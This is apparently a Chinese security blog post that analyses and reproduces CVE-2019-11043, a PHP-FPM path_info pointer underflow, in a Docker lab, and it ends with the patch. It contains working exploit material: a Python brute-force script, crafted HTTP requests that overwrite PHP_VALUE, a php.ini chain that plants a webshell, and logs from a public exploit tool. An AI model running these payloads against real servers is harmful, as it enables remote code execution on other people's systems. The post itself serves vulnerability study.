前言

去年的优秀漏洞,不过那个时候我还在复习考研,所以没来得及学习。现在论文和初试都暂告一段落了,所以来复习学习一番。


环境搭建

漏洞环境

直接使用别人写好的 docker-compose:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

docker-compose 可以 curl 下载,镜像下载慢可以换个国内镜像源,新建一个 /etc/docker/daemon.json 文件:

{
    "registry-mirrors":["https://id1yk9tn.mirror.aliyuncs.com"]
}

gdbserver

因为 pwngdb 和 php-fpm 不在一个环境里,我也不想再弄一个 pwngdb 到镜像里面,所以尝试使用 gdbserver 进行远程调试。

下载 gdb:

wget http://ftp.gnu.org/gnu/gdb/gdb-9.1.tar.gz

php-fpm 调试环境搭建

先开一个 php-fpm 容器,把 /usr/local/etc/php-fpm.conf 复制出来,然后修改配置让 php-fpm 只产生一个子进程,方便我们调试:

process.max = 1

然后修改 docker-compose.yml,把两个文件映射进去,加上 privileged 让我们可以用 gdbserver 调试 php-fpm:

privileged: true
volumes:
    - ./www:/var/www/html
    - ./php-fpm.conf:/usr/local/etc/php-fpm.conf
    - ../gdb-9.1:/gdb-9.1

如果 apt 速度慢也可以自己改源,替换 /etc/apt/sources.list 然后删除 /etc/apt/sources.list.d/buster.list,最后 docker-compose up -d 后台启动。

然后 exec 进入 php-fpm 容器中,安装 ps 用于查看进程 ID:

apt-get install procps

可以看到 php-fpm 只启动了一个处理进程:

root@b5dfbf1c3f4e:/var/www/html# ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 08:51 ?        00:00:00 php-fpm: master process (/usr/local/etc/php-fpm.conf)
www-data      6      1  0 08:51 ?        00:00:00 php-fpm: pool www
root          7      0  0 08:52 pts/0    00:00:00 bash
root        588      7  0 08:54 pts/0    00:00:00 ps -ef

然后进入 /gdb-9.1/gdb/gdbserver 文件夹下,编译安装:

./configure
make
make install

如果直接远程调试镜像里面原本的 php-fpm,就会因为没有加上调试参数而无法读取到符号表,所以需要重新安装。可以去 GitHub 上面下载源码:https://github.com/php/php-src/tree/PHP-7.2.10

不过好像没有 configure 文件。也可以把 php 镜像跑起来,用官方的脚本把源码拷贝出来:

docker-php-source extract

cd 到 /usr/src/php 目录下,加上调试参数编译安装备断点调试:

./configure --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"
make
make install

如果缺什么库(比如 libxml2 )就自己装上就好了,重新安装的 php-fpm 会覆盖原本的程序,不需要其他操作。


漏洞分析

Nginx 正则匹配

存在漏洞的 Nginx 配置如下:

location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    include fastcgi_params;

    fastcgi_param PATH_INFO       $fastcgi_path_info;
    fastcgi_index index.php;
    fastcgi_param  REDIRECT_STATUS    200;
    fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
    fastcgi_pass php:9000;
}

关注正则匹配部分,按官方的说法就是将 URI 分成 SCRIPT_FILENAME 和 PATH_INFO 两个部分:

而我们如果阅读 Nginx 的源码,可以发现这时用来匹配 URI 的库和 PHP 使用的一样,都是 pcre 库:

主要的切分逻辑在这里:

ngx_regex_exec 到 pcre_exec 的处理如下:

#define ngx_regex_exec(re, s, captures, size)                                \
    pcre_exec(re->code, re->extra, (const char *) (s)->data, (s)->len, 0, 0, \
              captures, size)
#define ngx_regex_exec_n      "pcre_exec()"

匹配结果会存放在 captures 数组里面,并以此为根据分配到两个变量里面。而横向对比类似的 PHP preg_match 函数,在没有设置多行模式的情况下,加入换行符会让这个正则匹配失败:

也就是说,这种情况下虽然存在 PATH_INFO,但是 Nginx 会将整个 URI 都放进 SCRIPT_FILENAME 里面,而 PATH_INFO 则为空。

PHP-FPM 不当处理 PATH_INFO

接下来我们关注 PHP-FPM 对 PATH_INFO 的处理,定位到 PATH_INFO 处理的 init_request_info 函数,然后远程连接开始调试,在镜像里面执行:

gdbserver :2333 --attach 6

来调试进程 ID 为 6 的进程,然后在主机上启动 gdb,输入:

target remote 172.18.0.2:2333

连接 gdbserver,然后 gdb 就会从远程读取符号表:

为了能看到代码,我们还需要在本地放一份源码,不然就会报错,调试的时候看不到源码:

pwndbg> b init_request_info
Breakpoint 1 at 0x55ac7c0540fa: file /usr/src/php/sapi/fpm/fpm/fpm_main.c, line 1023.
pwndbg> c
Continuing.

Breakpoint 1, init_request_info () at /usr/src/php/sapi/fpm/fpm/fpm_main.c:1023
1023    /usr/src/php/sapi/fpm/fpm/fpm_main.c: 没有那个文件或目录.

把里面的代码拷贝出来就好了:

docker cp cve-2019-11043_php_1:/usr/src/php /usr/src/php

现在就能看到源码了:

定位主要漏洞代码如下:

pt 是脚本文件路径+文件名,ptlen 是 pt 字符串的长度,len 是 URI 除了 query_string 外的部分的长度(来自 script_path_translated ),slen 是文件名后面的部分,env_path_info 则是指向 PATH_INFO 的 char 指针,这里会指向 \x00,pilen 则会为 0。

发个测试包:

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

此时的变量值如下:

通过将上下文打印成字符串,我们可以发现 php-fpm 的很多全局变量都存储在这里,同时 env_path_info 指向的是一个变量值,其变量名为 PATH_INFO。继续往下看,问题出在这一句代码:

path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info 的类型是 char*,而对于 C 语言来说,因为这个指针不是 NULL,所以就会是 true。因为 plien 为 0,所以 path_info 实际上指向了 env_path_info 更低地址的地方,一个跟 PATH_INFO 已经无多大关系的其他地址。

再继续往下看,我们会看到这么一句代码:

path_info[0] = 0;

它将 path_info 指向的那 8 位全部置零,置零之前:

pwndbg> x/10xg path_info
0x5627e27e5c07:    0x49444552005f0045    0x4154535f54434552
0x5627e27e5c17:    0x0030303200535554    0x464e495f48544150
0x5627e27e5c27:    0x530030303200004f    0x49465f5450495243
0x5627e27e5c37:    0x2f00454d414e454c    0x2f7777772f726176
0x5627e27e5c47:    0x646e692f6c6d7468    0x502f7068702e7865

置零之后:

pwndbg> x/10xg path_info
0x5627e27e5c07:    0x49444552005f0000    0x4154535f54434552
0x5627e27e5c17:    0x0030303200535554    0x464e495f48544150
0x5627e27e5c27:    0x530030303200004f    0x49465f5450495243
0x5627e27e5c37:    0x2f00454d414e454c    0x2f7777772f726176
0x5627e27e5c47:    0x646e692f6c6d7468    0x502f7068702e7865

可以看到 0x5627e27e5c07 处的 8 位二进制被置零了。那么这个置零有什么用呢?这就涉及到 php 存储这些全局变量的方式了。

在 php 中,逻辑上每个变量都用一个叫做 fcgi_hash_bucket 的结构体进行存储,然后通过指针连接成一个链式结构:

typedef struct _fcgi_hash_bucket {
    unsigned int              hash_value;
    unsigned int              var_len;
    char                     *var;
    unsigned int              val_len;
    char                     *val;
    struct _fcgi_hash_bucket *next;
    struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;

在内存中则是这样的:

其中 hash_value 指的是一个由变量名生成并用于验证的哈希,在读取变量的时候需要进行哈希的校验;var 指的是变量名,val 则是变量值;list_next 是指向下一个变量结构体的指针,next 也是连接其他变量结构体的,但是具体不知道干什么用的,不过 _fcgi_hash_bucket 之间的连接关系跟这次漏洞没有关系。

与此同时,还有一个叫做 fcgi_hash_buckets 的结构体,或者说哈希表存储着这些变量结构体:

typedef struct _fcgi_hash_buckets {
    unsigned int               idx;
    struct _fcgi_hash_buckets *next;
    struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;

如果哈希表内成员数量超出上限则会创建新的哈希表,不过哈希表的新建与这次漏洞也没有关系。

而在物理上,这些全局变量都存储在一块块内存中,而每一块内存的相关信息则是用一个叫做 fcgi_hash_seg 的结构体进行存储,同样通过指针连接成链式结构:

typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

在内存中则是这样的:

$30 = {
  pos = 0x5627e27e5d19 "ORIG_SCRIPT_NAME", 
  end = 0x5627e27e6a18 "", 
  next = 0x0, 
  data = "F"
}

pos 和 end 代表这块内存的数据部分的起始和结束,在每次放入变量之后,pos 就会发生变化,用于下次写入,而当这块内存放不下之后,会创建新的内存块:

static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
    char *ret;

    if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
        unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
        fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);

        p->pos = p->data;
        p->end = p->pos + seg_size;
        p->next = h->data;
        h->data = p;
    }
    ret = h->data->pos;
    memcpy(ret, str, str_len);
    ret[str_len] = 0;
    h->data->pos += str_len + 1;
    return ret;
}

仔细看代码,会发现它在申请一个堆之后,会将 _fcgi_data_seg 里面的几个成员放在堆的最前面,后面紧接着的就是全局变量的数据,通过调试打印内存可以看到:

也就是说,如果我们调整 GET 请求的数据的长度,让 php 写入 PATH_INFO 的时候长度超出块的上限,我们就可以控制 PATH_INFO 的地址就位于 _fcgi_data_seg 附近,而此时 env_path_info 往低地址偏移后指向 _fcgi_data_seg 内的其他三个指针,就可以其中一字节置零。那么我们要怎么确定能写到这几个指针所需要的长度呢?关注置零之后的写操作,可以看到这个好用的可控写入:

env_path_info = FCGI_PUTENV(request, "PATH_INFO", path_info);

通过在 URI 的 ? 后面不停地加 Q,我们就能覆盖 pos 的高位(比如说第 5 个字节),导致后面的写地址非法而进程崩溃,表现出来就是 Nginx 返回 502。为此我们需要的是 4 字节 + 2 个指针 + PATH_INFO + \x00 一共 30 个字符。 因为 PATH_INFO + \x00 的长度为 10,而判断是否需要新增内存块的方式是:

h->data->pos + str_len + 1 >= h->data->end

而跟 GET 请求数据有关的变量有 query_string 和 request_URI 两个,所以我们可以 5 个 Q 为一组来进行爆破:

# -*- coding:utf8 -*-
import requests

url = "http://192.168.111.128:8080/index.php/PHP%0Ais_the_shittiest_lang.php?"
headers = {
    "D-Gisos": "8=====================================D",
    "Ebut": "mamku tvoyu"
}
i = 1
while i <= 1950:
    response = requests.get(url + "Q" * 5 * i, headers=headers)
    print "[+]Testing " + str(i)
    if len(response.content) != 11:
        print "[!]" + response.content
        print "Q" * 5 * i
        break
    i += 1

我本地跑出来是 359 * 5 个 Q,调试一下可以发现此时 PATH_INFO 上面就是那三个指针,30偏移就会导致崩溃。

那么将指针的一字节置零有什么用呢?我们先来看看 php-fpm 获取全局变量的方式:

static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
    unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
    fcgi_hash_bucket *p = h->hash_table[idx];

    while (p != NULL) {
        if (p->hash_value == hash_value &&
            p->var_len == var_len &&
            memcmp(p->var, var, var_len) == 0) {
            *val_len = p->val_len;
            return p->val;
        }
        p = p->next;
    }
    return NULL;
}

也就是说 php-fpm 在读取全局变量的时候,只要变量名长度和 hash 对的上就行,所以我们将 pos 的地址的低位置零之后,php-fpm 则会用我们改写后的地址去写 PATH_INFO,而如果改写后的地址恰好指向某个可控的区域,从而我们可以将 PATH_INFO 变量名和多余的 /index.php/ 等等字符都写在上一个变量的变量值里面,将我们想要的变量名覆盖在这一个变量的变量名上面,把我们想要的数据写在这个变量的变量值里面,php-fpm 就会读取这个伪造变量作为自己的全局变量。

而要达到 RCE 的效果,最好用的自然是 PHP_VALUE,而 php 中正好有一个变量 HTTP_Ebut 满足跟 PHP_VALUE 长度和 hash 都相等这两个条件。

那我们怎么才能让 PATH_INFO 刚好处于这个位置上呢?我们加上 Q,改一下 URI 将偏移加大为 34 用于改写 pos 的低位,继续调试:

/index.php/PHP_VALUE%0Asession.auto_start=1;;;?Q*5*389

结果什么都没发生,一调试才知道,PATH_INFO 上面多了个 REDIRECT_STATUS,所以我们需要改一改 Q 的个数,把它减个数,让 REDIRECT_STATUS 能放在上一个内存块里面,可以调试也可以爆破。同时,为了调整偏移,让 PHP_VALUE 精准覆盖到 HTTP_Ebut 上,我们还需要使用其他变量来调整偏移,上面提到的 D-Gisos 就是为了这个,当然我们也可以自定义一个名字:

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?Q*N HTTP/1.1
Twings: 8=====================================D
Ebut: ===Twings==
Host: ubuntu.local:8080

然后我们会发现,覆盖的偏移不太符合我们心意:

pwndbg> x/20s request->env->data
0x5627e27e6a90:    ">k~\342'V"
0x5627e27e6a97:    ""
0x5627e27e6a98:    "\250z~\342'V"
0x5627e27e6a9f:    ""
0x5627e27e6aa0:    "`Z~\342'V"
0x5627e27e6aa7:    ""
0x5627e27e6aa8:    "PATH_INFO"
0x5627e27e6ab2:    ""
0x5627e27e6ab3:    "200"
0x5627e27e6ab7:    "SCRIPT_FILENAME"
0x5627e27e6ac7:    "/var/www/html/index.php/PHP_VALUE\nsession.auto_start=1;;;ORIG_SCRIPT_NAME"
0x5627e27e6b11:    "/index.php/PHP_VALUE\nsession.auto_start=1;;;"
0x5627e27e6b3e:    "===D"
0x5627e27e6b43:    "HTTP_EBUT"
0x5627e27e6b4d:    "===Twings=="
0x5627e27e6b59:    "HTTP_HOST"
0x5627e27e6b63:    "ubuntu.local:8080"
0x5627e27e6b75:    "ORIG_PATH_INFO"
0x5627e27e6b84:    ""
0x5627e27e6b85:    ""

Twings 变量的长度太长了,导致 PHP_VALUE 没有覆盖到,需要慢慢调试长度,Ebut 长度好像不一定要跟 PHP_VALUE 对齐,当然对齐内存里面的数据更好看一些,最后:

wings: A
Ebut: =========Twings========
Host: ubuntu.local:8080

开启 session 成功,再尝试自动包含:

此时哈希表中:

{
      hash_value = 2025, 
      var_len = 9, 
      var = 0x5627e27e6b1c "PHP_VALUE\nauto_prepend_file=a;;;;", 
      val_len = 23, 
      val = 0x5627e27e6b26 "auto_prepend_file=a;;;;", 
      next = 0x5627e27e4460, 
      list_next = 0x5627e27e4640
    }

当 php-fpm 获取 PHP_VALUE 的时候,就会先通过 PHP_VALUE 这个字符串计算出 hash 为 2025,然后对比对应 _fcgi_hash_bucket 结构体中的 hash_value 和 var_len,最后取出 val 作为 PHP_VALUE 的值。

那么要怎么 RCE 呢?因为 php-fpm 是按 worker 进程来调度的,所以只要进程不崩溃就能保存之前的 ini 设置,比如上图就能看到之前开启的 session.auto_start。我们就可以通过连续发包,将达成 RCE 需要的配置都写进去,比如 POC 的做法:

var chain = []string{
    "short_open_tag=1",
    "html_errors=0",
    "include_path=/tmp",
    "auto_prepend_file=a",
    "log_errors=1",
    "error_reporting=2",
    "error_log=/tmp/a",
    "extension_dir=\"<?=`\"",
    "extension=\"$_GET[a]`?>\"",
}

通过开启错误记录日志,把 webshell 写到 tmp 目录下,再通过 auto_prepend_file 自动包含 getshell。


漏洞复现

可以自己调试爆破,也可以直接装个工具来测试:

go get github.com/neex/phuip-fpizdam

网速太慢下载不下来,所以自己去 GitHub 上面下载了再来安装,结果它还要其他两个项目才能跑起来。

跑了一下,是可以打通的:

root@409d6e951a2f:/go/src# phuip-fpizdam http://172.17.0.1:8080/index.php
2020/03/19 12:27:52 Base status code is 200
2020/03/19 12:27:52 Status code 502 for qsl=1800, adding as a candidate
2020/03/19 12:27:52 The target is probably vulnerable. Possible QSLs: [1790 1795 1800]
2020/03/19 12:27:53 Attack params found: --qsl 1795 --pisos 247 --skip-detect
2020/03/19 12:27:53 Trying to set "session.auto_start=0"...
2020/03/19 12:27:53 Detect() returned attack params: --qsl 1795 --pisos 247 --skip-detect <-- REMEMBER THIS
2020/03/19 12:27:53 Performing attack using php.ini settings...
2020/03/19 12:27:53 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2020/03/19 12:27:53 Trying to cleanup /tmp/a...
2020/03/19 12:27:53 Done!

可以抓个包来看看:

tcpdump -i docker0 port 8080 -w attack.pcap

第一步,5 个一组爆破 Q 个数来确定改写 pos 需要的偏移:

第二步的 SOSAT 部分用来检测响应,判断配置是否已经开启,以免影响后面爆破偏移。

第三步,给 HTTP 头里面的 D-Pisos 一个个加 = 爆破正确覆盖 HTTP_Ebut 所需要的偏移:

如果检测到 HTTP 响应中带有 set-cookie,说明覆盖成功,可以继续写入其他配置 getshell。


漏洞修复

官方修复如下:

path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;

加了个长度判断,现在不能往低地址偏移了。


参考文章:

https://xz.aliyun.com/t/6671

https://paper.seebug.org/1063

https://forum.90sec.com/t/topic/558


Web 二进制 复现 PHPFPM

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

PHP-UAF漏洞初探
Go-gin/C++-cinatra Web开发